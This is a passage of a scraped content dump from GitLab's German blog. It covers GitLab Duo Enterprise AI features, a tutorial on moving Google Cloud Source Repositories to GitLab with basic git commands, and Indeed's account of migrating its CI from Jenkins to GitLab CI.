modernisieren](https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo/). \n\n- __Testgenerierung__ automatisiert die Erstellung umfassender Unit-Tests. Das Ergebnis? Entwickler(innen) können sich auf hochwertige Aufgaben konzentrieren, die Innovationen vorantreiben und zu schnelleren Entwicklungszyklen und verbesserter Softwarequalität führen.\n\n> Erfahre, wie [das europäische Technologieunternehmen Cube](https://about.gitlab.com/de-de/customers/cube/) Codevorschläge, Testgenerierung und andere Funktionen von GitLab Duo einsetzt, um Geschwindigkeit und Effizienz zu verbessern. \n\n## Verbessere die Zusammenarbeit und Kommunikation im Team\n\nEine effektive Zusammenarbeit ist ausschlaggebend für eine erfolgreiche Softwareentwicklung. Allerdings stehen dem Erfolg im Team oft langwierige Diskussionen, komplexe Merge Requests und zeitaufwändige Code Reviews im Weg. GitLab Duo Enterprise geht mit seinen Zusammenfassungs- und Vorlagen-Tools auf diese Herausforderungen ein:\n- __Zusammenfassung von Diskussionen:__ Ermöglicht es Teammitgliedern, einen schnellen Überblick über die wichtigsten Punkte umfangreicher Konversationen in Tickets zu erhalten.\n- __Merge-Request-Zusammenfassungen:__ Verschafft allen Beteiligten einen klaren, prägnanten Überblick über die vorgeschlagenen Änderungen.\n- __Zusammenfassungen der Code Reviews:__ Optimiert den Review-Prozess, um bessere Übergaben zwischen Autor(inn)en und Prüfer(inne)n zu ermöglichen.\n\nDurch eine klarere Kommunikation und schnellere Entscheidungsfindung hilft GitLab Duo Enterprise Teams, effizienter zu arbeiten und schneller Ergebnisse zu liefern.\n\n## Optimiere die Problembehandlung und Fehlersuche\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252688?h=fc6c048bfd&badge=0&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Root Cause Analysis clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nWenn Entwicklungspipelines fehlschlagen, können die Auswirkungen auf die Projektzeitpläne erheblich sein. Die Grundursachenanalyse von GitLab Duo Enterprise schafft hier entscheidende Abhilfe. Durch die automatische Analyse von Protokollen und detaillierte Erklärungen zu den Ausfällen sowie vorgeschlagenen potenziellen Fixes reduziert die Grundursachenanalyse die Zeit, die für die Problembehandlung aufgewendet wird, deutlich.\n\nDie Vorteile gehen über die reine Zeitersparnis hinaus. Mit [schnelleren Lösungen für CI/CD-Build-Probleme](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/) können Teams die Dynamik aufrechterhalten, Ausfallzeiten reduzieren und letztendlich Softwareupdates häufiger und zuverlässiger bereitstellen.\n\n## Erhöhe die Sicherheit über den gesamten Entwicklungslebenszyklus\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252706?h=73e568b89c&badge=0&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Vulnerability Explanation and Resolution clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nCybersicherheitsbedrohungen sind allgegenwärtig, daher ist robuste Anwendungssicherheit unerlässlich. GitLab Duo Enterprise reagiert auf diese Herausforderung mit den Funktionen __Erläuterung von Sicherheitslücken__ und __Behebung von Sicherheitslücken__. Diese KI-basierten Tools helfen [Entwickler(inne)n, Sicherheitslücken vollständig zu verstehen](https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities/), und generieren dann automatisch Merge Requests mit vorgeschlagenen Fixes.\n\n## Quantifiziere die KI-Auswirkungen für die strategische Entscheidungsfindung\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1004252663?h=d35106288b&badge=0&amp?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"AI Impact Dashboard clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nEs ist entscheidend, den ROI von Technologieinvestitionen zu demonstrieren. In GitLab Duo Enterprise ist dies direkt mit dem __KI-Impact-Dashboard__ möglich. Dieses Analysetool, das auf der Wertstromanalyse und DORA4-Metriken aufbaut, bietet übersichtliche Kennzahlen zu Verbesserungen der Bearbeitungszeit und einer höheren Häufigkeit der Bereitstellung. Dadurch können Unternehmen die greifbaren Vorteile der KI-Einführung in ihren Entwicklungsprozessen quantifizieren.\n\nDurch Einblicke in die Korrelation der KI-Nutzung mit wichtigen Produktivitätsmetriken ermöglicht das [KI-Impact-Dashboard](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) Führungskräften, datengesteuerte Entscheidungen über die Ressourcenzuweisung und strategische Technologieinvestitionen zu treffen.\n\n## Erlebe die Zukunft KI-gesteuerter DevSecOps\n\nNeben der Vorstellung von GitLab Duo Enterprise möchten wir auch darauf hinweisen, dass GitLab als Leader im ersten [Gartner® Magic Quadrant™ für KI-Programmierassistenten](https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/) ausgezeichnet wurde – und das freut uns wirklich sehr. Diese Auszeichnung unterstreicht, wie intensiv wir an KI-Lösungen arbeiten, die einen echten kommerziellen Mehrwert bieten.\n\nDie Zukunft der Softwareentwicklung ist da und wird von KI angetrieben. Wir helfen dir dabei, intelligente, skalierbare KI über den gesamten DevSecOps-Lebenszyklus hinweg zu integrieren, damit du deinen Kund(inn)en schneller Ergebnisse liefern kannst.\n\n> [Lege jetzt mit GitLab Duo Enterprise los und teste es kostenlos!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro)\n",[679,680,746,745,723],"2024-09-23",{"slug":2780,"featured":92,"template":682},"gitlab-duo-enterprise-is-now-available","content:de-de:blog:gitlab-duo-enterprise-is-now-available.yml","Gitlab Duo Enterprise Is Now Available","de-de/blog/gitlab-duo-enterprise-is-now-available.yml","de-de/blog/gitlab-duo-enterprise-is-now-available",{"_path":2786,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2787,"content":2793,"config":2802,"_id":2804,"_type":16,"title":2805,"_source":17,"_file":2806,"_stem":2807,"_extension":20},"/de-de/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab",{"title":2788,"description":2789,"ogTitle":2788,"ogDescription":2789,"noIndex":6,"ogImage":2790,"ogUrl":2791,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2791,"schema":2792},"Tutorial: Migration von Google Cloud Source Repositories zu GitLab","Google stellt Cloud Source Repositories ein. Hier erfährst du, wie du ein CSR-Quellcode-Repository zu GitLab migrierst und erhältst auch einige tolle Tipps und Tricks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097739/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2813%29_1zdtbfPDHZVe6JC2AbdHmb_1750097738370.png","https://about.gitlab.com/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Migration von Google Cloud Source Repositories zu GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tsukasa Komatsubara\"},{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2024-08-28\",\n      }",{"title":2788,"description":2789,"authors":2794,"heroImage":2790,"date":2797,"body":2798,"category":680,"tags":2799,"updatedDate":2801},[2795,2796],"Tsukasa Komatsubara","Regnard Raquedan","2024-08-28","Durch die [Einstellung der Cloud Source Repositories](https://cloud.google.com/source-repositories/docs/release-notes) von Google (CSR) mussten Entwicklungsteams eine voll funktionsfähige Alternative für ihre Quellcode-Repositories finden. GitLab, ein [Google-Cloud-Technologiepartner](https://cloud.google.com/find-a-partner/partner/gitlab-inc), ist aufgrund seiner umfassenden DevSecOps-Funktionen eine gute Wahl.\n\nIn diesem Tutorial erfährst du, wie du nahtlos von CSR zu GitLab übergehst, egal, ob du GitLab.com oder eine Self-Managed-Instanz auf Google Cloud verwendest.\n\n## Warum GitLab?\nDer Übergang von Google Cloude Source Repositories zu GitLab ist ein empfohlener Schritt. Als strategischer Partner von Google Cloud lässt sich GitLab nahtlos und einfach in bestehende Infrastruktur integrieren und bringt den Kund(inn)en auf folgende Weise einen Mehrwert:\n- **Vereinheitlichte DevSecOps-Plattform**\n    - Konsolidiere deinen gesamten Entwicklungszyklus in einer einzigen Anwendung – von der Planung bis zur Überwachung. Vermeide ein Überangebot von Tools und steigere die Produktivität signifikant.\n- **Nahtlose Google-Cloud-Integration**\n    - Verbinde dich ganz einfach mit GKE, Cloud Build und Cloud Storage. So stellst du eine reibungslose Migration und einen effizienten Betrieb im Google-Cloud-Ökosystem sicher.\n- **Erweiterte CI/CD-Funktionen**\n    - Nutze [Auto-DevOps](https://docs.gitlab.com/ee/topics/autodevops/), um alles vom Sicherheitsscan bis zur Bereitstellung zu automatisieren und deine Entwicklungszyklen zu beschleunigen.\n- **Branchenführende KI-Programmierunterstützung**\n    - Profitiere von der integrierten KI-gestützten Entwicklung mit [GitLab Duo](https://about.gitlab.com/gitlab-duo/) und ermögliche eine sichere und effiziente Programmierumgebung.\n\n## Voraussetzungen\n\nBevor du die Migration startest, stelle Folgendes sicher:\n- GitLab-Konto: Richte dein Konto auf GitLab.com oder in einer selbst gehosteten Instanz ein.\n- GitLab-Projekt: Erstelle ein leeres Projekt in GitLab, in das das CSR-Repository migriert wird.\n\n## Migrationsschritte\n\n1. Erstelle ein leeres GitLab-Projekt: Dies dient als Ziel für dein migriertes CSR-Repository. Lasse dieses Projekt vorerst leer.\n2. Generiere einen persönlichen Zugriffstoken (PAT): Gehe zu den GitLab-Einstellungen und [generiere einen PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html), wenn die Bereiche `read_repository` und `write_repository` aktiviert sind. Dieser Token wird verwendet, um deine Git-Vorgänge während des Migrationsprozesses zu authentifizieren.\n3. Bearbeite den Code im Cloud Shell Editor: Öffne in deinem CSR-Repository den Cloud Shell Editor, indem du auf die Schaltfläche „Code bearbeiten“ klickst. Um fortzufahren, musst du die Cloud-Shell autorisieren und „Trust repo“ auswählen.\n\n![Google Cloud Shell Editor](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097750/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097750517.png)\n\n4. Überprüfe den Git-Status: Führe `git status` in der Cloud-Shell aus, um den aktuellen Branch zu überprüfen und sicherzustellen, dass alles in Ordnung ist, bevor du zu GitLab pusht.\n\n![Git-Status prüfen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097750/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097750518.png)\n\n5. Richte das Remote-Repository ein: Füge dein GitLab-Projekt als Remote-Repository hinzu, indem du Folgendes ausführst:\n\n```\ngit remote add origin [GITLAB_PROJECT_URL]\n\n```\n\n6. Ersetze `[GITLAB_PROJECT_URL]` durch die tatsächliche URL deines GitLab-Projekts.\nPushe zu GitLab: Pushe schließlich dein lokales Repository zu GitLab, indem du Folgendes ausführst: \n\n```\ngit push -u origin [BRANCH_NAME]\n\n```\n\n7. Ersetze `[BRANCH_NAME]` durch den aktuellen Branch-Namen, den du bereits angegeben hast.\nWenn du dazu aufgefordert wirst, verwende deinen GitLab-Benutzernamen und den PAT als Passwort, um dich zu authentifizieren und den Push abzuschließen.\n\n## Tipps und Tricks\n\n- Erstelle ein Backup, bevor du beginnst: Sichere immer dein CSR-Repository, bevor du mit dem Migrationsprozess beginnst.\n- Teste nach der Migration: Stelle sicher, dass alle Aspekte des Repositorys, einschließlich Branches und CI/CD-Pipelines, wie erwartet in GitLab funktionieren.\n- Nutze die Funktionen von GitLab: Nutze die erweiterten DevSecOps-Funktionen von GitLab wie [KI](https://about.gitlab.com/gitlab-duo/), [CI/CD](https://docs.gitlab.com/ee/ci/) und [Enterprise Agile Planning](https://about.gitlab.com/solutions/agile-delivery/), um deinen Entwicklungs-Workflow zu verbessern.\n\nDer Übergang von Google Cloud Source Repositories zu GitLab ist einfach und bietet mehr Vorteile als nur die Verwaltung von Quellcode. GitLab ist mit seiner Integration in Google Cloud eine ideale Wahl für Entwickler(innen), die ihren Workflow nach der Migration verbessern möchten.\n\n> Erfahre mehr über die [Integration von GitLab in die Google Cloud](https://about.gitlab.com/blog/gitlab-google-cloud-integrations-now-in-public-beta/).",[767,2800,746],"google","2025-03-12",{"slug":2803,"featured":6,"template":682},"tutorial-migrate-from-google-cloud-source-repositories-to-gitlab","content:de-de:blog:tutorial-migrate-from-google-cloud-source-repositories-to-gitlab.yml","Tutorial Migrate From Google Cloud Source Repositories To Gitlab","de-de/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab.yml","de-de/blog/tutorial-migrate-from-google-cloud-source-repositories-to-gitlab",{"_path":2809,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2810,"content":2816,"config":2824,"_id":2826,"_type":16,"title":2827,"_source":17,"_file":2828,"_stem":2829,"_extension":20},"/de-de/blog/how-indeed-transformed-its-ci-platform-with-gitlab",{"title":2811,"description":2812,"ogTitle":2811,"ogDescription":2812,"noIndex":6,"ogImage":2813,"ogUrl":2814,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2814,"schema":2815},"Wie Indeed seine CI-Plattform mit GitLab transformiert hat","Die weltweit führende Jobbörse migrierte Tausende von Projekten zu GitLab CI und konnte so die Produktivität steigern und die Kosten senken. Hier erfährst du, welche Vorteile das Unternehmen umsetzen und damit einen Anstieg der täglichen Pipelines um 79 % erzielen konnte.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","https://about.gitlab.com/blog/how-indeed-transformed-its-ci-platform-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wie Indeed seine CI-Plattform mit GitLab transformiert hat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Carl Myers\"}],\n        \"datePublished\": \"2024-08-27\",\n      }",{"title":2811,"description":2812,"authors":2817,"heroImage":2813,"date":2819,"body":2820,"category":1055,"tags":2821,"updatedDate":2823},[2818],"Carl Myers","2024-08-27","***Anmerkung der Redaktion: Von Zeit zu Zeit laden wir Mitglieder unserer Kunden-Community ein, einen Beitrag für den GitLab-Blog zu verfassen. Danke an Carl Myers, CI-Plattform-Manager bei Indeed, dass du uns von deinen Erfahrungen mit GitLab berichtest.***\n\nHier bei Indeed ist es unsere Mission, Menschen dabei zu helfen, einen Job zu finden. Indeed ist die weltweit [führende Job-Website](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) mit mehr als 350 Millionen Besucher(inne)n pro Monat.\n\nFür die Engineering-Plattformteams von Indeed gilt ein etwas anderes Motto: „Wir helfen den Menschen dabei, Menschen zu helfen, einen Job zu finden.“ Als Teil einer datengesteuerten Engineering-Kultur, die gute zwei Jahrzehnte immer die Jobsuchenden in den Vordergrund gestellt hat, sind wir dafür verantwortlich, die Tools zu entwickeln, mit denen dies nicht nur möglich ist, sondern die die Entwickler(innen) auch darin unterstützen, tagtäglich gute Ergebnisse für die Jobsuchenden zu liefern.\n\nMit der kontinuierlichen Integration von GitLab konnte das nur 11 Personen umfassende CI-Plattformteam von Indeed effektiv Tausende von Benutzer(inne)n im gesamten Unternehmen unterstützen. Weitere Vorteile, die Indeed durch den Umstieg auf GitLab CI erreichen konnte:\n- 79 % Anstieg der täglichen Pipelines\n- 10–20 % niedrigere CI-Hardware-Kosten\n- Gesunkener Supportaufwand\n\n## Weiterentwicklung unserer CI-Plattform: von Jenkins zu einer skalierbaren Lösung\n\nWie viele große Technologieunternehmen haben wir unsere CI-Plattform mit dem Wachstum des Unternehmens organisch aufgebaut und nutzten dabei die damals verfügbaren Open-Source- sowie branchenüblichen Lösungen. 2007, als Indeed weniger als 20 Entwickler(innen) hatte, verwendeten wir Hudson, den direkten Vorgänger von Jenkins.\n\nHeute, nach fast zwei Jahrzehnten des Wachstums, haben wir Tausende von Entwickler(inne)n. Als neue Technologien verfügbar wurden, nahmen wir schrittweise Veränderungen vor und wechselten um 2011 herum zu Jenkins. Dank einer weiteren Verbesserung konnten wir die meisten unserer Workloads mithilfe von [AWS EC2](https://aws.amazon.com/ec2/) auf dynamischen Worker Nodes in der Cloud umstellen. Mit dem Eintritt in das Kubernetes-Zeitalter stieß die Systemarchitektur jedoch an ihre Grenzen.\n\nDie Architektur von Jenkins wurde nicht mit Blick auf die Cloud entwickelt. Jenkins funktioniert mit einem „Controller“-Knoten, einem Single Point of Failure, der wichtige Teile einer Pipeline ausführt und bestimmte Schritte an Worker Nodes (die bis zu einem gewissen Grad horizontal skaliert werden können) auslagert. Controller sind auch eine manuelle Skalierungsachse.\n\nWenn man zu viele Jobs für einen Controller hat, muss man sie manuell auf mehrere Controller verteilen. CloudBees bietet Möglichkeiten, dies zu mindern, etwa durch das CloudBees Jenkins Operations Center, in dem man seine Controllerkonstellation zentral verwalten kann. Die Ausführung von Controllern in einer Kubernetes-Umgebung bleibt jedoch eine Herausforderung, da jeder Controller ein anfälliger Single Point of Failure ist. Aktivitäten wie Node-Rollouts oder Hardwareausfälle verursachen Ausfallzeiten.\n\nNeben den technischen Einschränkungen, die Jenkins mit sich bringt, hatte unsere CI-Plattform auch mehrere Probleme, die wir selbst verursacht hatten. Zum Beispiel haben wir die Jenkins-DSL Groovy verwendet, um in jedem Repository Jobs aus Code zu erstellen. Dies führte dazu, dass jedes Projekt seine eigene, kopierte und eingefügte Job-Pipeline hatte, was zu Hunderten von Versionen führte, die schwer zu warten und aktualisieren waren. Obwohle die Engineering-Kultur von Indeed auf Flexibilität Wert legt und es den Teams erlaubt, in separaten Repositories zu arbeiten, wurde diese Flexibilität zu einer Belastung, als Teams zu viel Zeit damit verbrachten, sich um regelmäßige Wartungsanfragen zu kümmern.\n\nAls wir unser Technical Debt erkannten, setzten wir auf das [Golden-Path-Muster](https://tag-app-delivery.cncf.io/whitepapers/platforms/), das Flexibilität bietet und gleichzeitig eine Standardroute vorgibt, um Updates zu vereinfachen und konsistente Praktiken in den Projekten zu fördern.\n\nDas CI-Plattformteam bei Indeed ist nicht sehr groß. Unser Team aus rund 11 Entwickler(inne)n unterstützt Tausende von Benutzer(inne)n, bearbeitet Supportanfragen, führt Updates und Wartungen durch und ermöglicht einen ständig verfügbaren Support für unser globales Unternehmen.\n\nDa unser Team nicht nur unsere GitLab-Instanz unterstützt, sondern die gesamte CI-Plattform einschließlich des Artefakt-Servers, unseres gemeinsamen Build-Codes und zahlreicher anderer, individueller Komponenten unserer Plattform, hatten wir alle Hände voll zu tun. Wir brauchten einen Plan, der uns half, unsere Herausforderungen zu meistern und gleichzeitig unsere vorhandenen Ressourcen so effizient wie möglich zu nutzen.\n\n## Umstieg auf GitLab CI\n\nNach einem sorgfältigen Design-Review mit den wichtigsten Stakeholdern entschieden wir, das gesamte Unternehmen von Jenkins zu GitLab CI zu migrieren. Die Hauptgründe für die Entscheidung für GitLab CI waren:\n- Wir haben GitLab bereits für die Quellcodeverwaltung verwendet.\n- GitLab ist eine Komplettlösung, die alles bietet, was wir für CI benötigen.\n- GitLab CI wurde für Skalierbarkeit und die Cloud entwickelt.\n- GitLab CI ermöglicht es uns, Vorlagen zu schreiben, die andere Vorlagen erweitern, was mit unserer Golden-Path-Strategie kompatibel ist.\n- GitLab ist Open-Source-Software und das GitLab-Team hat uns bei der Bereitstellung von Fehlerkorrekturen immer unterstützt, was uns zusätzliche Flexibilität und Sicherheit gibt.\n\nAls wir offiziell ankündigten, dass die GitLab-CI-Plattform für Benutzer(innen) allgemein verfügbar sein würde, erfolgten bereits 23 % aller Builds in GitLab CI mit einer Kombination von „Grassroots“-Bemühungen und Early Adopters.\n\nDie Herausforderung der Migration lag jedoch in der großen Streuung. Aufgrund der großen Anzahl an benutzerdefinierten Builds in Jenkins hätte ein automatisiertes Migrationstools für die meisten Teams nicht funktioniert. Die meisten Vorteile des neuen Systems kamen erst zum Tragen, als das alte System auf dem Nullstand war. Nur dann konnten wir die Hardware ausschalten und die CloudBees-Lizenzgebühr sparen.\n\n## Funktionsgleichheit und die Vorteile eines Neustarts\n\nObwohl wir bei Indeed viele verschiedene Technologien unterstützen, sind die drei am häufigsten verwendeten Sprachen Java, Python und JavaScript. Mit diesen Programmiersprachen werden Bibliotheken, Bereitstellungen (Webservices oder Anwendungen) und Cron-Jobs (ein Prozess, der in regelmäßigen Abständen abläuft, z. B. um einen Datensatz in unserem Data Lake aufzubauen) erstellt. Jedes davon bildete eine Matrix an Projekttypen (Java Library, Python Cronjob, JavaScript Webapp usw.), für die wir ein Grundgerüst in Jenkins hatten. Daher mussten wir für jeden dieser Projekttypen eine Golden-Path-Vorlage in GitLab CI erstellen.\n\nDie meisten Benutzer(innen) können diese empfohlenen Pfade ohne Änderungen nutzen, aber für jene, die eine Anpassung brauchen, ist der Golden Path trotzdem ein wichtiger Ausgangspunkt, der ihnen ermöglicht, nur das Nötige zu ändern und trotzdem in Zukunft von zentralisierten Vorlagenaktualisierungen zu profitieren.\n\nWir haben schnell gemerkt, dass die meisten Benutzer(innen), auch jene mit Anpassungen, gern den Golden Path nehmen bzw. ihn zumindest ausprobieren. Wenn sie ihre Anpassungen vermissen, können sie sie immer noch später hinzufügen. Das war ein überraschendes Ergebnis! Wir dachten, dass die Teams, die in signifikante Anpassungen investiert hatten, diese nur widerstrebend aufgeben würden, doch in der Mehrheit der Fälle waren sie den Teams nach der Umstellung egal. Dadurch konnten wir viele Projekte sehr schnell migrieren. Wir konnten einfach den Golden Path (eine kleine, etwa 6 Zeilen lange Datei mit Includes) in ihre Projekte einfügen und sie konnten sie von dort aus nutzen.\n\n## InnerSource als Retter in der Not\n\nDas CI-Plattformteam hat auch eine Richtlinie eingeführt, die besagt, dass externe Beiträge Vorrang haben. So werden alle im Unternehmen zur Teilnahme ermutigt. Dies wird manchmal als InnerSource bezeichnet. Wir haben Tests und Dokumentationen geschrieben, um externe Beiträge – Beiträge von außerhalb unseres unmittelbaren Teams – zu ermöglichen, damit Teams, die Anpassungen schreiben wollten, sie stattdessen in den Golden Path hinter einer Feature-Flag einfügen können. So konnten sie ihre Arbeit mit anderen teilen und sicherstellen, dass wir sie im weiteren Verlauf des Projekts nicht beschädigen (denn sie wurde Teil unserer Codebase, nicht ihrer eigenen). \n\nDies hatte auch den Vorteil, dass manche Teams, die auf eine benötigte Funktion warten mussten, selbst an dieser Funktion arbeiten konnten. Wir konnten sagen: „Wir planen, die Funktion in ein paar Wochen zu implementieren. Wenn ihr sie eher braucht, dürft ihr gerne daran mitarbeitet.“ Am Ende wurden viele Kernfunktionen, die für die Gleichschaltung nötig waren, auf diese Weise schneller und besser entwickelt, als es für unser Team alleine möglich gewesen wäre. Ohne dieses Modell wäre die Migration nicht erfolgreich gewesen.\n\n## Vor dem Zeitplan und unter dem Budget\n\nUnsere CloudBees-Lizenz lief am 1. April 2024 aus. Dies gab uns ein ambitioniertes Ziel für die vollständige Migration vor. Dies war besonders ehrgeizig, wenn man bedenkt, dass zu dieser Zeit 80 % aller Builds (60 % aller Projekte) noch Jenkins für ihre CI verwendeten. Dies bedeutete, dass über 2.000 [Jenkins-Dateien](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) noch umgeschrieben oder durch unsere Golden-Path-Vorlagen ersetzt werden mussten.\n\nUm dieses Ziel zu erreichen, stellten wir Dokumentationen und Beispiele zur Verfügung, implementierten Funktionen, wo dies möglich war, und halfen unseren Benutzer(inne)n, Funktionen beizutragen, wo sie konnten.\n\nWir haben regelmäßige Bürozeiten eingeführt, zu denen jeder kommen und Fragen stellen oder unsere Hilfe bei der Migration in Anspruch nehmen konnte. Außerdem haben wir Supportfragen zur Migration vor fast allem anderen priorisiert. Unsere Teammitglieder wurden zu GitLab-CI-Profis und teilten dieses Wissen innerhalb des Teams und im gesamten Unternehmen.\n\nEine automatische Migration war bei den meisten Projekten nicht möglich, aber wir fanden heraus, dass sie für eine kleine Untergruppe an Projekten funktionierte, in denen es wenig Anpassungen gab. Wir erstellten eine Sourcegraph-Stapeländerungskampagne, um Merge Requests für die Migration von hunderten Projekten einzureichen und forderten unsere Benutzer(innen) auf, diese MRs anzunehmen.\n\nWir zogen Erfolgsgeschichten unserer Benutzer(innen) heran und weit verbreitet. Als die Benutzer(innen) neue Funktionen zu unseren Golden Paths beisteuerten, warben wir damit, dass diese Funktionen bei der Migration auf GitLab CI „kostenlos enthalten“ sind. Einige Beispiele sind integrierte Sicherheits -und Compliance-Scans, Slack-Benachrichtigungen für CI-Builds und Integrationen in andere interne Systeme.\n\nWir haben auch eine Kampagne aggressiver „Scream Tests“ durchgeführt. Wir haben Jenkins-Jobs, die schon eine Weile nicht mehr ausgeführt wurden oder schon länger nicht mehr erfolgreich waren, automatisch deaktiviert und teilten den Benutzer(inne)n mit, dass sie diese Jobs wieder aktivieren konnten, wenn sie sie nochmals brauchen würden. So konnten wir auf einfache Weise feststellen, welche Jobs wirklich gebraucht wurden. Wir hatten Tausende von Jobs, die seit unserer letzten CI-Migration (von Jenkins zu Jenkins) nicht ein einziges Mal ausgeführt worden waren. Dies zeigte uns, dass wir fast alle davon sicher ignorieren konnten.\n\nIm Januar 2024 gaben wir unsere Benutzer(inne)n einen Anstoß, indem wir ankündigten, dass alle Jenkins-Controller schreibgeschützt werden (keine Builds), es sei denn, es wird ausdrücklich eine Ausnahme angefordert. Wir hatten viel bessere Informationen zum Eigentum von Controllern und sie entsprachen im Allgemeinen unserer Unternehmensstruktur, also war es sinnvoll, sich auf Controller und nicht auf Jobs zu konzentrieren. Die Liste der Controller war auch viel überschaubarer als die Liste der Jobs.\n\nUm eine Ausnahme zu erhalten, baten wir unsere Benutzer(innen), ihre Controller in einer Tabelle zu suchen und ihre Kontaktinformationen daneben zu schreiben. Dadurch erhielten wir eine sichere, aktuelle Liste der Stakeholder, die wir auf dem Endspurt nachverfolgen konnten. Außerdem konnten uns die Benutzer(innen) dadurch deutlich mitteilen, welche Jobs sie unbedingt brauchten. Zu Spitzenzeiten hatten wir etwa 400 Controller; im Januar hatten wir 220, aber nur 54 Controller benötigten Ausnahmen (einige von ihnen gehörten uns, um unsere Tests und Canary Tests durchzuführen).\n\n![Indeed – Anzahl der Jenkins-Controller](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nWir hatten eine überschaubare Liste von etwa 50 Teams, die wir unter unseren Teammitgliedern aufteilten, und begannen, Kontakt aufzunehmen, um herauszufinden, wie jedes Team bei der Migration vorankam. Im Januar und Februar stellten wir fest, dass einige Teams planten, ihre Migration ohne unsere Hilfe vor dem 28. Februar abzuschließen. Andere planten wiederum, ihre Projekte vorher einzustellen, und eine sehr kleine Anzahl war sehr besorgt, dass sie es nicht schaffen würden.\n\nWir konnten mit dieser kleineren Gruppe von Teams zusammenarbeiten und ihnen einen maßgeschneiderten Service bieten. Wir erklärten ihnen, dass wir zwar nicht über das nötige Fachwissen verfügten, um die Migration für sie durchzuführen, dass wir aber mit Fachleuten aus ihrem Team zusammenarbeiten konnten. Für einige Projekte schrieben wir und sie überprüften; für andere schrieben sie und wir überprüften. Am Ende hat sich unsere ganze Arbeit ausgezahlt und wir haben Jenkins genau an dem Tag ausgeschaltet, den wir 8 Monate zuvor angekündigt hatten.\n\n## Die Ergebnisse: verbesserte CI-Effizienz und Benutzerzufriedenheit\n\nAuf dem Höhepunkt führte unsere Jenkins CI-Plattform über 14.000 Pipelines pro Tag aus und bediente Tausende Projekte. Heute führt unsere GitLab-CI-Plattform schon einmal über 40.000 Pipelines an einem einzigen Tag aus und regelmäßig über 25.000 pro Tag. Die inkrementellen Kosten für jeden Job jeder Pipeline sind ähnlich wie bei Jenkins, aber ohne den Aufwand für die Hardware zum Ausführen der Controller. Darüber hinaus dienten diese Controller als Single Points of Failure und Skalierungsbegrenzer, die uns zwangen, unsere Plattform künstlich in Segmente zu unterteilen. Ein direkter Vergleich ist immer schwierig, aber wir haben festgestellt, dass die Kosten für unsere CI-Hardware ohne diesem Overhead um 10–20 % niedriger sind. Außerdem ist der Supportaufwand für GitLab CI niedriger, da sich die Anwendung automatisch in der Cloud skaliert, über Verfügbarkeitszonen ausfallsicher ist und für die Vorlagensprache eine hervorragende Dokumentation öffentlich verfügbar ist.\n\nEin ebenso wichtiger Vorteil ist, dass wir jetzt über 70 % Annahmerate unserer Golden Paths erreicht haben. Das bedeutet, dass wir eine Verbesserung umsetzen konnten, von der über 5.000 Projekte bei Indeed sofort ohne weitere Maßnahmen profitieren können. So konnten wir einige Jobs zu kostengünstigeren ARM64-Instanzen verschieben, die 